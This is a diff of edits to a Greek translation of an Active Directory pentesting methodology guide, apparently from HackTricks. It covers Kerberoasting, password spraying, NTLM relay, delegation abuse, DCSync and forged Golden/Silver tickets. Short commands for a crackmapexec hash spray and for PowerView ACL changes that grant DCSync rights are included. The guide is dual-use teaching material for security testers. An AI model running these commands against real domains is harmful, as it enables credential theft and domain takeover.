kerberos-double-hop-problem.md Η κατοχή ενός λογαριασμού είναι ένα **μεγάλο βήμα για να αρχίσετε να συμβιβάζετε ολόκληρο το τομέα**, γιατί θα μπορείτε να ξεκινήσετε την **Καταγραφή Active Directory:** -Αναφορικά με [**ASREPRoast**](asreproast.md) μπορείτε τώρα να βρείτε κάθε πιθανό ευάλωτο χρήστη, και αναφορικά με [**Password Spraying**](password-spraying.md) μπορείτε να αποκτήσετε μια **λίστα με όλα τα ονόματα χρηστών** και να δοκιμάσετε τον κωδικό του συμβιβασμένου λογαριασμού, κενές κωδικούς και νέους υποσχόμενους κωδικούς. +Αναφορικά με [**ASREPRoast**](asreproast.md), μπορείτε τώρα να βρείτε κάθε πιθανό ευάλωτο χρήστη, και αναφορικά με [**Password Spraying**](password-spraying.md), μπορείτε να αποκτήσετε μια **λίστα με όλα τα ονόματα χρηστών** και να δοκιμάσετε τον κωδικό του συμβιβασμένου λογαριασμού, κενές κωδικούς και νέους υποσχόμενους κωδικούς. - Μπορείτε να χρησιμοποιήσετε το [**CMD για να εκτελέσετε μια βασική αναγνώριση**](../basic-cmd-for-pentesters.md#domain-info) - Μπορείτε επίσης να χρησιμοποιήσετε [**powershell για αναγνώριση**](../basic-powershell-for-pentesters/index.html) που θα είναι πιο διακριτικό - Μπορείτε επίσης να [**χρησιμοποιήσετε το powerview**](../basic-powershell-for-pentesters/powerview.md) για να εξαγάγετε πιο λεπτομερείς πληροφορίες -- Ένα άλλο καταπληκτικό εργαλείο για αναγνώριση σε ένα active directory είναι το [**BloodHound**](bloodhound.md). Δεν είναι **πολύ διακριτικό** (ανάλογα με τις μεθόδους συλλογής που χρησιμοποιείτε), αλλά **αν δεν σας νοιάζει** γι' αυτό, θα πρέπει σίγουρα να το δοκιμάσετε. Βρείτε πού μπορούν οι χρήστες να RDP, βρείτε διαδρομές σε άλλες ομάδες, κ.λπ. +- Ένα άλλο καταπληκτικό εργαλείο για αναγνώριση σε ένα Active Directory είναι το [**BloodHound**](bloodhound.md). Δεν είναι **πολύ διακριτικό** (ανάλογα με τις μεθόδους συλλογής που χρησιμοποιείτε), αλλά **αν δεν σας νοιάζει** γι' αυτό, θα πρέπει σίγουρα να το δοκιμάσετε. Βρείτε πού μπορούν οι χρήστες να RDP, βρείτε διαδρομές σε άλλες ομάδες, κ.λπ. - **Άλλα αυτοματοποιημένα εργαλεία καταγραφής AD είναι:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**DNS records του AD**](ad-dns-records.md) καθώς μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες. - Ένα **εργαλείο με GUI** που μπορείτε να χρησιμοποιήσετε για να καταγράψετε τον κατάλογο είναι το **AdExplorer.exe** από το **SysInternal** Suite. @@ -182,7 +184,7 @@ kerberos-double-hop-problem.md Το Kerberoasting περιλαμβάνει την απόκτηση **TGS tickets** που χρησιμοποιούνται από υπηρεσίες που συνδέονται με λογαριασμούς χρηστών και την αποκρυπτογράφησή τους—η οποία βασίζεται στους κωδικούς πρόσβασης των χρηστών—**εκτός σύνδεσης**. -Περισσότερα γι' αυτό: +Περισσότερα γι' αυτό σε: {{#ref}} kerberoast.md @@ -190,17 +192,17 @@ kerberoast.md ### Απομακρυσμένη σύνδεση (RDP, SSH, FTP, Win-RM, κ.λπ.) -Μόλις αποκτήσετε κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε αρκετούς διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσες θυρών σας. +Μόλις αποκτήσετε κάποιες πιστοποιήσεις, μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε διάφορους διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσες θυρών σας. ### Τοπική Κλιμάκωση Προνομίων -Αν έχετε συμβιβαστεί πιστοποιήσεις ή μια συνεδρία ως κανονικός χρήστης τομέα και έχετε **πρόσβαση** με αυτόν τον χρήστη σε **οποιαδήποτε μηχανή στον τομέα** θα πρέπει να προσπαθήσετε να βρείτε τον τρόπο σας για να **κλιμακώσετε τα προνόμια τοπικά και να αναζητήσετε πιστοποιήσεις**. Αυτό συμβαίνει γιατί μόνο με τοπικά προνόμια διαχειριστή θα μπορείτε να **dumpάρετε hashes άλλων χρηστών** στη μνήμη (LSASS) και τοπικά (SAM). +Αν έχετε συμβιβαστεί πιστοποιήσεις ή μια συνεδρία ως κανονικός χρήστης τομέα και έχετε **πρόσβαση** με αυτόν τον χρήστη σε **οποιαδήποτε μηχανή στον τομέα**, θα πρέπει να προσπαθήσετε να βρείτε τον τρόπο σας για να **κλιμακώσετε τα προνόμια τοπικά και να αναζητήσετε πιστοποιήσεις**. Αυτό συμβαίνει γιατί μόνο με τοπικά προνόμια διαχειριστή θα μπορείτε να **dumpάρετε hashes άλλων χρηστών** στη μνήμη (LSASS) και τοπικά (SAM). Υπάρχει μια ολοκληρωμένη σελίδα σε αυτό το βιβλίο σχετικά με [**την τοπική κλιμάκωση προνομίων στα Windows**](../windows-local-privilege-escalation/index.html) και μια [**λίστα ελέγχου**](../checklist-windows-privilege-escalation.md). Επίσης, μην ξεχάσετε να χρησιμοποιήσετε [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). ### Τρέχοντα Εισιτήρια Συνεδρίας -Είναι πολύ **απίθανο** να βρείτε **εισιτήρια** στον τρέχοντα χρήστη **που να σας δίνουν άδεια πρόσβασης** σε απροσδόκητους πόρους, αλλά μπορείτε να ελέγξετε: +Είναι πολύ **απίθανο** να βρείτε **εισιτήρια** στον τρέχοντα χρήστη **που σας δίνουν άδεια πρόσβασης** σε απροσδόκητους πόρους, αλλά μπορείτε να ελέγξετε: ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -210,17 +212,17 @@ kerberoast.md ``` ### NTLM Relay -Αν έχετε καταφέρει να καταγράψετε το active directory θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορεί να είστε σε θέση να αναγκάσετε NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** +Αν έχετε καταφέρει να καταγράψετε το active directory, θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορεί να είστε σε θέση να αναγκάσετε NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** ### Looks for Creds in Computer Shares | SMB Shares -Τώρα που έχετε κάποιες βασικές διαπιστεύσεις θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε). +Τώρα που έχετε κάποιες βασικές διαπιστεύσεις, θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα, αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και ακόμα περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε). [**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) ### Steal NTLM Creds -Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινές διανομές** μπορείτε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν με κάποιο τρόπο προσπελαστούν θα **ενεργοποιήσουν μια NTLM αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε: +Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινές διανομές**, μπορείτε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν με κάποιο τρόπο προσπελαστούν θα **ενεργοποιήσουν μια NTLM αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -236,12 +238,12 @@ printnightmare.md ## Privilege escalation on Active Directory WITH privileged credentials/session -**Για τις παρακάτω τεχνικές ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνόμια/διαπιστεύσεις για να εκτελέσετε αυτές τις επιθέσεις.** +**Για τις παρακάτω τεχνικές, ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνόμια/διαπιστεύσεις για να εκτελέσετε αυτές τις επιθέσεις.** ### Hash extraction -Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\ -Τότε, είναι ώρα να εξάγετε όλους τους κατακερματισμούς στη μνήμη και τοπικά.\ +Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό λογαριασμό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\ +Τότε, είναι ώρα να εξάγετε όλους τους κατακερματισμούς από τη μνήμη και τοπικά.\ [**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) ### Pass the Hash @@ -268,7 +270,7 @@ pass-the-ticket.md ### Credentials Reuse -Αν έχετε τον **κατακερματισμό** ή τον **κωδικό πρόσβασης** ενός **τοπικού διαχειριστή** θα πρέπει να προσπαθήσετε να **συνδεθείτε τοπικά** σε άλλους **υπολογιστές** με αυτόν. +Αν έχετε τον **κατακερματισμό** ή τον **κωδικό πρόσβασης** ενός **τοπικού διαχειριστή**, θα πρέπει να προσπαθήσετε να **συνδεθείτε τοπικά** σε άλλους **υπολογιστές** με αυτόν. ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine @@ -279,7 +281,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ### Κατάχρηση MSSQL & Εμπιστευμένοι Σύνδεσμοι -Εάν ένας χρήστης έχει δικαιώματα να **πρόσβαση σε MSSQL instances**, θα μπορούσε να είναι σε θέση να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμη και να εκτελέσει μια **επίθεση** **relay**.\ +Εάν ένας χρήστης έχει δικαιώματα να **πρόσβαση σε MSSQL instances**, θα μπορούσε να είναι σε θέση να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμα και να εκτελέσει μια **επίθεση** **relay**.\ Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Εάν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\ **Οι σύνδεσμοι μεταξύ των βάσεων δεδομένων λειτουργούν ακόμη και σε διασυνδέσεις δασών.** @@ -289,9 +291,9 @@ abusing-ad-mssql.md ### Απεριόριστη Αντιπροσώπευση -Εάν βρείτε οποιοδήποτε αντικείμενο Υπολογιστή με το χαρακτηριστικό [ADS_UF_TRUSTED_FOR_DELEGATION]() και έχετε δικαιώματα τομέα στον υπολογιστή, θα μπορείτε να εξάγετε TGTs από τη μνήμη κάθε χρήστη που συνδέεται στον υπολογιστή.\ -Έτσι, αν ένας **Domain Admin συνδεθεί στον υπολογιστή**, θα μπορείτε να εξάγετε το TGT του και να τον προσποιηθείτε χρησιμοποιώντας [Pass the Ticket](pass-the-ticket.md).\ -Χάρη στην περιορισμένη αντιπροσώπευση, θα μπορούσατε ακόμη και να **συμβιβάσετε αυτόματα έναν εκτυπωτή** (ελπίζουμε να είναι ένας DC). +Εάν βρείτε οποιοδήποτε αντικείμενο Υπολογιστή με το χαρακτηριστικό [ADS_UF_TRUSTED_FOR_DELEGATION]() και έχετε δικαιώματα τομέα στον υπολογιστή, θα είστε σε θέση να εξάγετε TGTs από τη μνήμη κάθε χρήστη που συνδέεται στον υπολογιστή.\ +Έτσι, αν ένας **Domain Admin συνδεθεί στον υπολογιστή**, θα είστε σε θέση να εξάγετε το TGT του και να τον προσποιηθείτε χρησιμοποιώντας [Pass the Ticket](pass-the-ticket.md).\ +Χάρη στην περιορισμένη αντιπροσώπευση, θα μπορούσατε ακόμη και να **συμβιβάσετε αυτόματα έναν Εκτυπωτή** (ελπίζουμε να είναι ένας DC). {{#ref}} unconstrained-delegation.md @@ -300,7 +302,7 @@ unconstrained-delegation.md ### Περιορισμένη Αντιπροσώπευση Εάν ένας χρήστης ή υπολογιστής επιτρέπεται για "Περιορισμένη Αντιπροσώπευση", θα είναι σε θέση να **προσποιηθεί οποιονδήποτε χρήστη για να αποκτήσει πρόσβαση σε ορισμένες υπηρεσίες σε έναν υπολογιστή**.\ -Έτσι, αν **συμβιβάσετε το hash** αυτού του χρήστη/υπολογιστή θα μπορείτε να **προσποιηθείτε οποιονδήποτε χρήστη** (ακόμη και διαχειριστές τομέα) για να αποκτήσετε πρόσβαση σε ορισμένες υπηρεσίες. +Στη συνέχεια, αν **συμβιβάσετε το hash** αυτού του χρήστη/υπολογιστή, θα είστε σε θέση να **προσποιηθείτε οποιονδήποτε χρήστη** (ακόμη και τους διαχειριστές τομέα) για να αποκτήσετε πρόσβαση σε ορισμένες υπηρεσίες. {{#ref}} constrained-delegation.md @@ -316,7 +318,7 @@ resource-based-constrained-delegation.md ### Κατάχρηση Δικαιωμάτων/ACLs -Ο συμβιβασμένος χρήστης θα μπορούσε να έχει κάποια **ενδιαφέροντα δικαιώματα πάνω σε ορισμένα αντικείμενα τομέα** που θα μπορούσαν να σας επιτρέψουν να **κινηθείτε** πλάγια/**να κλιμακώσετε** δικαιώματα. +Ο συμβιβασμένος χρήστης θα μπορούσε να έχει κάποια **ενδιαφέροντα δικαιώματα πάνω σε ορισμένα αντικείμενα τομέα** που θα μπορούσαν να σας επιτρέψουν να **κινήσετε** οριζόντια/**να κλιμακώσετε** δικαιώματα. {{#ref}} acl-persistence-abuse/ @@ -367,7 +369,7 @@ ad-certificates/domain-escalation.md ### Εξαγωγή Διαπιστεύσεων Τομέα -Μόλις αποκτήσετε δικαιώματα **Domain Admin** ή ακόμη καλύτερα **Enterprise Admin**, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_. +Μόλις αποκτήσετε δικαιώματα **Domain Admin** ή ακόμα καλύτερα **Enterprise Admin**, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_. [**Περισσότερες πληροφορίες σχετικά με την επίθεση DCSync μπορείτε να βρείτε εδώ**](dcsync.md). @@ -390,7 +392,7 @@ Set-DomainObject -Identity -Set @{serviceprincipalname="fake/NOTHING" Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` -- Χορηγήσετε [**DCSync**](#dcsync) δικαιώματα σε έναν χρήστη +- Χορηγήστε [**DCSync**](#dcsync) δικαιώματα σε έναν χρήστη ```bash Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync @@ -398,7 +400,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti ### Silver Ticket -Η **επίθεση Silver Ticket** δημιουργεί ένα **νόμιμο εισιτήριο Υπηρεσίας Εισιτηρίων (TGS)** για μια συγκεκριμένη υπηρεσία χρησιμοποιώντας το **NTLM hash** (για παράδειγμα, το **hash του λογαριασμού PC**). Αυτή η μέθοδος χρησιμοποιείται για να **αποκτήσει πρόσβαση στα δικαιώματα υπηρεσίας**. +Η **επίθεση Silver Ticket** δημιουργεί ένα **νόμιμο εισιτήριο Υπηρεσίας Παροχής Εισιτηρίων (TGS)** για μια συγκεκριμένη υπηρεσία χρησιμοποιώντας το **NTLM hash** (για παράδειγμα, το **hash του λογαριασμού PC**). Αυτή η μέθοδος χρησιμοποιείται για να **αποκτήσει πρόσβαση στα δικαιώματα υπηρεσίας**. {{#ref}} silver-ticket.md @@ -406,7 +408,7 @@ silver-ticket.md ### Golden Ticket -Μια **επίθεση Golden Ticket** περιλαμβάνει έναν επιτιθέμενο που αποκτά πρόσβαση στο **NTLM hash του λογαριασμού krbtgt** σε ένα περιβάλλον Active Directory (AD). Αυτός ο λογαριασμός είναι ειδικός επειδή χρησιμοποιείται για να υπογράψει όλα τα **Εισιτήρια Υπηρεσίας Εισιτηρίων (TGTs)**, τα οποία είναι απαραίτητα για την αυθεντικοποίηση εντός του δικτύου AD. +Μια **επίθεση Golden Ticket** περιλαμβάνει έναν επιτιθέμενο που αποκτά πρόσβαση στο **NTLM hash του λογαριασμού krbtgt** σε ένα περιβάλλον Active Directory (AD). Αυτός ο λογαριασμός είναι ειδικός επειδή χρησιμοποιείται για να υπογράψει όλα τα **Εισιτήρια Παροχής Εισιτηρίων (TGTs)**, τα οποία είναι απαραίτητα για την αυθεντικοποίηση εντός του δικτύου AD. Μόλις ο επιτιθέμενος αποκτήσει αυτό το hash, μπορεί να δημιουργήσει **TGTs** για οποιονδήποτε λογαριασμό επιλέξει (επίθεση Silver ticket). @@ -416,7 +418,7 @@ golden-ticket.md ### Diamond Ticket -Αυτά είναι σαν χρυσά εισιτήρια που έχουν παραχθεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης χρυσών εισιτηρίων.** +Αυτά είναι σαν χρυσά εισιτήρια που έχουν κατασκευαστεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης χρυσών εισιτηρίων.** {{#ref}} diamond-ticket.md @@ -424,7 +426,7 @@ diamond-ticket.md ### **Επιμονή Λογαριασμών Πιστοποιητικών** -**Έχοντας πιστοποιητικά ενός λογαριασμού ή έχοντας τη δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμη και αν αλλάξει τον κωδικό πρόσβασης): +**Έχοντας πιστοποιητικά ενός λογαριασμού ή έχοντας τη δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμα και αν αλλάξει τον κωδικό πρόσβασης): {{#ref}} ad-certificates/account-persistence.md @@ -440,13 +442,13 @@ ad-certificates/domain-persistence.md ### Ομάδα AdminSDHolder -Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· εάν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται να προστατεύσει, μπορεί έτσι να έχει αντίκτυπο, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά. +Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· εάν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίκτυπο, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά. [**Περισσότερες πληροφορίες σχετικά με την Ομάδα AdminDSHolder εδώ.**](privileged-groups-and-token-privileges.md#adminsdholder-group) ### Διαπιστευτήρια DSRM -Μέσα σε κάθε **Domain Controller (DC)**, υπάρχει ένας **τοπικός διαχειριστής** λογαριασμός. Αποκτώντας δικαιώματα διαχειριστή σε μια τέτοια μηχανή, το hash του τοπικού διαχειριστή μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Ακολουθώντας αυτό, είναι απαραίτητη μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του κωδικού πρόσβασης**, επιτρέποντας την απομακρυσμένη πρόσβαση στον τοπικό λογαριασμό διαχειριστή. +Μέσα σε κάθε **Domain Controller (DC)**, υπάρχει ένας λογαριασμός **τοπικού διαχειριστή**. Αποκτώντας δικαιώματα διαχειριστή σε μια τέτοια μηχανή, το hash του τοπικού Διαχειριστή μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Ακολουθώντας αυτό, είναι απαραίτητη μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του κωδικού πρόσβασης**, επιτρέποντας την απομακρυσμένη πρόσβαση στον τοπικό λογαριασμό διαχειριστή. {{#ref}} dsrm-credentials.md @@ -505,43 +507,43 @@ laps.md ## Κλιμάκωση Δικαιωμάτων Δάσους - Εμπιστευμένοι Τομείς -Η Microsoft θεωρεί το **Δάσος** ως το όριο ασφαλείας. Αυτό σημαίνει ότι **η κατάχρηση ενός μόνο τομέα θα μπορούσε ενδεχομένως να οδηγήσει σε ολόκληρο το Δάσος να είναι συμβιβασμένο**. +Η Microsoft βλέπει το **Δάσος** ως το όριο ασφαλείας. Αυτό σημαίνει ότι **η κατάχρηση ενός μόνο τομέα θα μπορούσε ενδεχομένως να οδηγήσει σε ολόκληρο το Δάσος να είναι συμβιβασμένο**. ### Βασικές Πληροφορίες Μια [**εμπιστοσύνη τομέα**]() είναι ένας μηχανισμός ασφαλείας που επιτρέπει σε έναν χρήστη από έναν **τομέα** να έχει πρόσβαση σε πόρους σε έναν άλλο **τομέα**. Δημιουργεί ουσιαστικά μια σύνδεση μεταξύ των συστημάτων αυθεντικοποίησης των δύο τομέων, επιτρέποντας τις επαληθεύσεις αυθεντικοποίησης να ρέουν ομαλά. Όταν οι τομείς ρυθμίζουν μια εμπιστοσύνη, ανταλλάσσουν και διατηρούν συγκεκριμένα **κλειδιά** μέσα στους **Domain Controllers (DCs)** τους, τα οποία είναι κρίσιμα για την ακεραιότητα της εμπιστοσύνης. -Σε ένα τυπικό σενάριο, εάν ένας χρήστης σκοπεύει να έχει πρόσβαση σε μια υπηρεσία σε έναν **εμπιστευμένο τομέα**, πρέπει πρώτα να ζητήσει ένα ειδικό εισιτήριο γνωστό ως **inter-realm TGT** από τον DC του δικού του τομέα. Αυτό το TGT είναι κρυπτογραφημένο με ένα κοινό **κλειδί** που έχουν συμφωνήσει και οι δύο τομείς. Ο χρήστης στη συνέχεια παρουσιάζει αυτό το TGT στον **DC του εμπιστευμένου τομέα** για να αποκτήσει ένα εισιτήριο υπηρεσίας (**TGS**). Μετά την επιτυχή επαλήθευση του inter-realm TGT από τον DC του εμπιστευμένου τομέα, εκδίδει ένα TGS, παρέχοντας στον χρήστη πρόσβαση στην υπηρεσία. +Σε ένα τυπικό σενάριο, εάν ένας χρήστης σκοπεύει να έχει πρόσβαση σε μια υπηρεσία σε έναν **εμπιστευμένο τομέα**, πρέπει πρώτα να ζητήσει ένα ειδικό εισιτήριο γνωστό ως **inter-realm TGT** από τον DC του δικού του τομέα. Αυτό το TGT είναι κρυπτογραφημένο με ένα κοινό **κλειδί** που έχουν συμφωνήσει και οι δύο τομείς. Ο χρήστης στη συνέχεια παρουσιάζει αυτό το TGT στον **DC του εμπιστευμένου τομέα** για να αποκτήσει ένα εισιτήριο υπηρεσίας (**TGS**). Μετά την επιτυχή επικύρωση του inter-realm TGT από τον DC του εμπιστευμένου τομέα, εκδίδει ένα TGS, παρέχοντας στον χρήστη πρόσβαση στην υπηρεσία. **Βήματα**: 1. Ένας **υπολογιστής-πελάτης** στον **Τομέα 1** ξεκινά τη διαδικασία χρησιμοποιώντας το **NTLM hash** του για να ζητήσει ένα **Ticket Granting Ticket (TGT)** από τον **Domain Controller (DC1)** του. 2. Ο DC1 εκδίδει ένα νέο TGT εάν ο πελάτης αυθεντικοποιηθεί επιτυχώς. 3. Ο πελάτης στη συνέχεια ζητά ένα **inter-realm TGT** από τον DC1, το οποίο είναι απαραίτητο για να αποκτήσει πρόσβαση σε πόρους στον **Τομέα 2**. -4. Το inter-realm TGT κρυπτογραφείται με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της διπλής εμπιστοσύνης τομέα. +4. Το inter-realm TGT είναι κρυπτογραφημένο με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της διπλής εμπιστοσύνης τομέα. 5. Ο πελάτης παίρνει το inter-realm TGT στον **Domain Controller του Τομέα 2 (DC2)**. 6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, εάν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να έχει πρόσβαση ο πελάτης. 7. Τέλος, ο πελάτης παρουσιάζει αυτό το TGS στον διακομιστή, το οποίο είναι κρυπτογραφημένο με το hash του λογαριασμού του διακομιστή, για να αποκτήσει πρόσβαση στην υπηρεσία στον Τομέα 2. -### Διάφορες εμπιστοσύνες +### Διαφορετικές εμπιστοσύνες -Είναι σημαντικό να παρατηρήσετε ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλο, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε να έχετε πρόσβαση σε πόρους μόνο μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο.** +Είναι σημαντικό να παρατηρήσετε ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλο, αλλά στη **1 κατεύθυνσης** εμπιστοσύνη, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε να έχετε πρόσβαση σε πόρους μόνο μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο**. Εάν ο Τομέας A εμπιστεύεται τον Τομέα B, ο A είναι ο εμπιστευόμενος τομέας και ο B είναι ο εμπιστευμένος. Επιπλέον, στον **Τομέα A**, αυτό θα ήταν μια **Εξωτερική εμπιστοσύνη**; και στον **Τομέα B**, αυτό θα ήταν μια **Εσωτερική εμπιστοσύνη**. **Διαφορετικές σχέσεις εμπιστοσύνης** -- **Εμπιστοσύνες Γονέα-Παιδιού**: Αυτή είναι μια κοινή ρύθμιση εντός του ίδιου δάσους, όπου ένα παιδικό τομέα έχει αυτόματα μια διπλή μεταβατική εμπιστοσύνη με τον γονικό τομέα του. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού. +- **Εμπιστοσύνες Γονέα-Παιδιού**: Αυτή είναι μια 